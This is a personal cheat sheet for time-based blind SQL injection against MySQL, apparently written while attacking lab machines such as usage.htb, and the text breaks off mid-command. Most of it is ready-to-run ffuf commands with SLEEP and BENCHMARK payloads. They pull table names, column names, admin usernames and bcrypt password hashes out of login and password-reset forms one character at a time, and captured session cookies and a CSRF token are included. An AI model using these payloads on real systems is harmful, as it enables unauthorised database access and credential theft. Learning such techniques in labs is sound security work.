Time-based SQL Injection

Testing the injection

We need to test with both sleep and benchmark, since some databases denies sleep queries.

Sleep

email= 'OR SLEEP(5)

if we are going to user AND, we need to supply some working data before the AND or we’ll not have a successful request

email=test@test.com' AND SLEEP (5)

Benchmark

email=' OR BENCHMARK(2000000,MD5('test')

We can experiment with the benchmark number until we get the least amount of sleep.

or using AND

email=test@test.com' AND BENCHMARK(2000000,MD5('test')

Using SLEEP()

To avoid guessing the Database, we’ll use DATABASE() to find tables in the current selected database, most of the time the database of the app we are interested in.

Finding the table name

First Table Name character 1

We’ll use ffuf for searching this

-w chars.txt:FUZZ tells ffuf “use chars.txt as a wordlist and call it FUZZ so ffuf will substitute the token FUZZ in the request with each line from that file.”

-t 1 specifies the number of threads, for the highest precision 1, we can speed up the process by using 10 or 20 threads, experiment with it. A value too high might start missing characters. Default is 40.

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Or (By default ffuf uses the word FUZZ for substitution so we can technically remove it)

ffuf -w chars.txt \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

as soon as it finds the character CTRL+c to stop the search ( I did not find an auto stop on first match in ffuf ) and move on to the next character SUBSTRING(table_name,==2==,1)

First Table Name character 2

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,2,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

as soon as it finds the character CTRL+c to stop the search ( I did not find an auto stop on first match in ffuf ) and move on to the next character SUBSTRING(table_name,==3==,1)

First Table Name character 3

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,3,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

First Table Name Guess

now that we got 3 characters, we can make some guesses, like adm_db, admin_db, admin, and put them into admin.txt file.

echo "adm_db" >> admin.txt
echo "admin_db" >> admin.txt
echo "admin" >> admin.txt

and try using ffuf with the wordlist admin.txt

ffuf -w admin.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1))=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Second Table Name character 1

Our query was targeting the first table because of this part: LIMIT 0,1. Now to find the second table name we use LIMIT 1,1

  • In MySQL, LIMIT <offset>,<count> means:
    • <offset> = starting row (0-indexed)
    • <count> = number of rows

So LIMIT 0,1 → the first row
To get the second row, we need → LIMIT 1,1

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Second Table Name character 2

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,2,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Finding the column names

We found the table “admin” now we need to find the columns

First Column Name character 1

ffuf -w chars.txt:FUZZ \
  -u "http://10.10.10.239/admin/login.php" \
  -X POST \
  -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin' LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
  -t 1 \
  -p 0.5 \
  -mt ">2500"

as soon as it finds the character CTRL+c to stop the search ( I did not find an auto stop on first match in ffuf ) and move on to the next character SUBSTRING(column_name,==2==,1)

First Column Name character 2

ffuf -w chars.txt:FUZZ \
  -u "http://10.10.10.239/admin/login.php" \
  -X POST \
  -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,2,1) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin' LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
  -t 1 \
  -p 0.5 \
  -mt ">2500"

Second Column Name character 1

Our query was targeting the first column because of this part: LIMIT 0,1. Now to find the second column name we use LIMIT 1,1

  • In MySQL, LIMIT <offset>,<count> means:
    • <offset> = starting row (0-indexed)
    • <count> = number of rows

So LIMIT 0,1 → the first column
To get the second column, we need → LIMIT 1,1

ffuf -w chars.txt:FUZZ \
  -u "http://10.10.10.239/admin/login.php" \
  -X POST \
  -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin' LIMIT 1,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
  -t 1 \
  -p 0.5 \
  -mt ">2500"

Second Column Name character 2

ffuf -w chars.txt:FUZZ \
  -u "http://10.10.10.239/admin/login.php" \
  -X POST \
  -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,2,1) FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin' LIMIT 1,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
  -t 1 \
  -p 0.5 \
  -mt ">2500"

Second Column Name Guess

the column started with u so probably username

echo "username" > columns.txt

and try using ffuf with the wordlist columns.txt and LIMIT ==1==,1 (since we are dealing with the second column)

ffuf -w columns.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin' LIMIT 1,1))=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Third Column Name Guess

Since the second column was username the third column is probably going to be password, we’ll add the column name “password” into the columns.txt file

echo "password" >> columns.txt

and try using ffuf with the wordlist columns.txt and LIMIT ==2==,1 (since we are dealing with the third column)

ffuf -w columns.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY((SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='admin' LIMIT 2,1))=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Finding the column Data

Method 1: Character-by-character extraction (first username)

First Username character 1

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(username,1,1) FROM admin LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

as soon as it finds the character CTRL+c to stop the search ( I did not find an auto stop on first match in ffuf ) and move on to the next character SUBSTRING(username,==2==,1)

First Username character 2

ffuf -w chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(username,2,1) FROM admin LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

Method 2: Wordlist attack (if you have common usernames)

First Username Guess

ffuf -w usernames.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY((SELECT username FROM admin LIMIT 0,1))=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

First Password Char 1 (the password of first username)

Since we mostly deal with hashes, like bcrypt hashes let’s create our bcrypt chars

# Create bcrypt charset (Base64 + ./)
echo -e "a\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\nl\nm\nn\no\np\nq\nr\ns\nt\nu\nv\nw\nx\ny\nz\nA\nB\nC\nD\nE\nF\nG\nH\nI\nJ\nK\nL\nM\nN\nO\nP\nQ\nR\nS\nT\nU\nV\nW\nX\nY\nZ\n0\n1\n2\n3\n4\n5\n6\n7\n8\n9\n.\n/\n\$" > bcrypt_chars.txt

Extract password character-by-character:

ffuf -w bcrypt_chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,1,1) FROM admin LIMIT 0,1)=BINARY('FUZZ'), SLEEP(3), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">2500"

First Password Char 2

we made search faster by changing the SLEEP value to SLEEP(1), and the matcher value to -mt “>800”

ffuf -w bcrypt_chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,2,1) FROM admin LIMIT 0,1)=BINARY('FUZZ'), SLEEP(1), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">800"

First Password Char 3

ffuf -w bcrypt_chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,3,1) FROM admin LIMIT 0,1)=BINARY('FUZZ'), SLEEP(1), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">800"

Second Password Char 1

ffuf -w bcrypt_chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,1,1) FROM admin LIMIT 1,1)=BINARY('FUZZ'), SLEEP(1), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">800"

Second Password Char 2

ffuf -w bcrypt_chars.txt:FUZZ \
     -u "http://10.10.10.239/admin/login.php" \
     -X POST \
     -H "Cookie: PHPSESSID=l14dtqbqsl9i9scpecvt1eegf3" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(password,1,1) FROM admin LIMIT 2,1)=BINARY('FUZZ'), SLEEP(1), 0))x)-- -&password=admin&login=Login" \
     -t 1 \
     -p 0.5 \
     -mt ">800"

Using Benchmark()

Finding the table name

First Table Name character 1

  • _token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL
    • This is the CSRF token required by Laravel. It must be valid, otherwise the server will reject the request.
  • email=test@test.com' AND (...)
    • You’re injecting SQL into the email parameter.
    • The ' closes the original SQL string, and then you append your payload.
ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"
  • SELECT SUBSTRING(table_name,1,1) ...
    → grabs the first character of the first table in the current database.
  • BINARY(...) = BINARY('FUZZ')
    → compares the grabbed character to 'FUZZ'. Here, 'FUZZ' is the placeholder ffuf will replace with each character from chars.txt.
  • IF(..., BENCHMARK(2000000, MD5('test')), 0)
    → If the guess is correct, the server runs a CPU-heavy benchmark. This creates a measurable delay (time-based blind SQLi).
    → If incorrect, it does nothing (0), so no delay.
  • Wrapping in SELECT 1 FROM (SELECT IF(...) x) is just MySQL syntax to make the injection valid.
  • -- -
    → Comments out the rest of the original query.

5️⃣ Wordlist

-w chars.txt

  • chars.txt contains all characters to try, e.g., a-zA-Z0-9_.

  • ffuf replaces FUZZ with each character from this file.

6️⃣ Concurrency

-t 5

  • Number of concurrent threads.

  • Sends 5 requests at a time.

7️⃣ Matching delay

-mt ">1000"

  • -mt = “match time” in milliseconds.

  • Only considers responses taking more than 1000ms (1 second) as correct guesses.

  • Works with time-based SQLi because a correct guess delays the response.

8️⃣ Optional delay factor

-p 0.5

  • -p = a pause between requests (in seconds).

  • Helps avoid server-side rate limits.

First Table Name character 2

we’ll adjust SUBSTRING(table_name,==2==,1)

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,2,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Second Table Name character 1

We’ll adjust LIMIT ==1==,1

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Second Table Name character 2

We’ll adjust SUBSTRING(table_name,==2==,1)

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,2,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

First Table Name Guess

We’ll guess the first table name “admin_menu” by selecting all its characters 1 —> 10 chars using SUBSTRING(table_name,1,==10==) and testing against the wordlist table.txt

echo "admin_menu" > table.txt

Then start the fuzzing

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(table_name,1,10) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w table.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

Finding the column names

First Column Name character 1

we’ll change table_name with column_name and FROM information_schema.tables to FROM information_schema.columns

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: laravel_session=eyJpdiI6IlJaOXJLempLNGdIZjJFY1RnTTFtTWc9PSIsInZhbHVlIjoiL28rWit1Snp6eUZ0dWxNeHhIQnVRMkM1NTFzU2ZkamVlL3lWMldOa2VnK2hpTFRqMURuQU44d3BldlZLcGMvVlN4UDJJeFZGK1Z3eXhxZ2VRT2dMWlhRYkZVZ0hZZWRRQXhOMlpLTStvUk9hZzRtM3VRdXc3WkE4eDRsclpubDYiLCJtYWMiOiIyOGY5Y2NkZDgyZDlmYjM5ZjU4MTVkYTRjZTFjMTRkZmVjYTMzYzRmYzBhNTA0M2Q1NjRlOTdkNzg2ODI3YTdiIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6IlNIM21mcGpabmtsdUQ1UkZpcUNCcmc9PSIsInZhbHVlIjoiWUNyeUZ1NGVRa012MTJZdWUzcjl2eFlIODh3MEMzVk9lSG9YcktPd3JPZWoyak56ckxKSTJ4TlJmd3lsUFh1clZsa0M3NGNmQ3VMVThBNGI3eWlMU2ZNSmFYZFJXYXVIQXgvQmhITHI4TTlyM2NuV0FHVFBncWNEUjgyTGJRQ0siLCJtYWMiOiJiNDk1NTk3N2U0YWI2MGMwM2ZiYTZkYzk5NzQ3YmQzNGZhOTE5YTc3NTk5NjZlYmY4MzY3OWQ1OGU2YjI5NjQyIiwidGFnIjoiIn0%3D" \
  -d "_token=DdsgTjyhSVToo8slFGeA3lgoXpAQY97H6dJieWZL&email=test@test.com' AND (SELECT 1 FROM (SELECT IF(BINARY(SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_schema=DATABASE() LIMIT 0,1)=BINARY('FUZZ'), BENCHMARK(2000000,MD5('test')), 0))x)-- -" \
  -w chars.txt \
  -t 5 \
  -p 0.5 \
  -mt ">1000"

First Column Name character 2

Well adjust SUBSTRING(column_name,==2==,1)

ffuf -u "http://usage.htb/forget-password" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
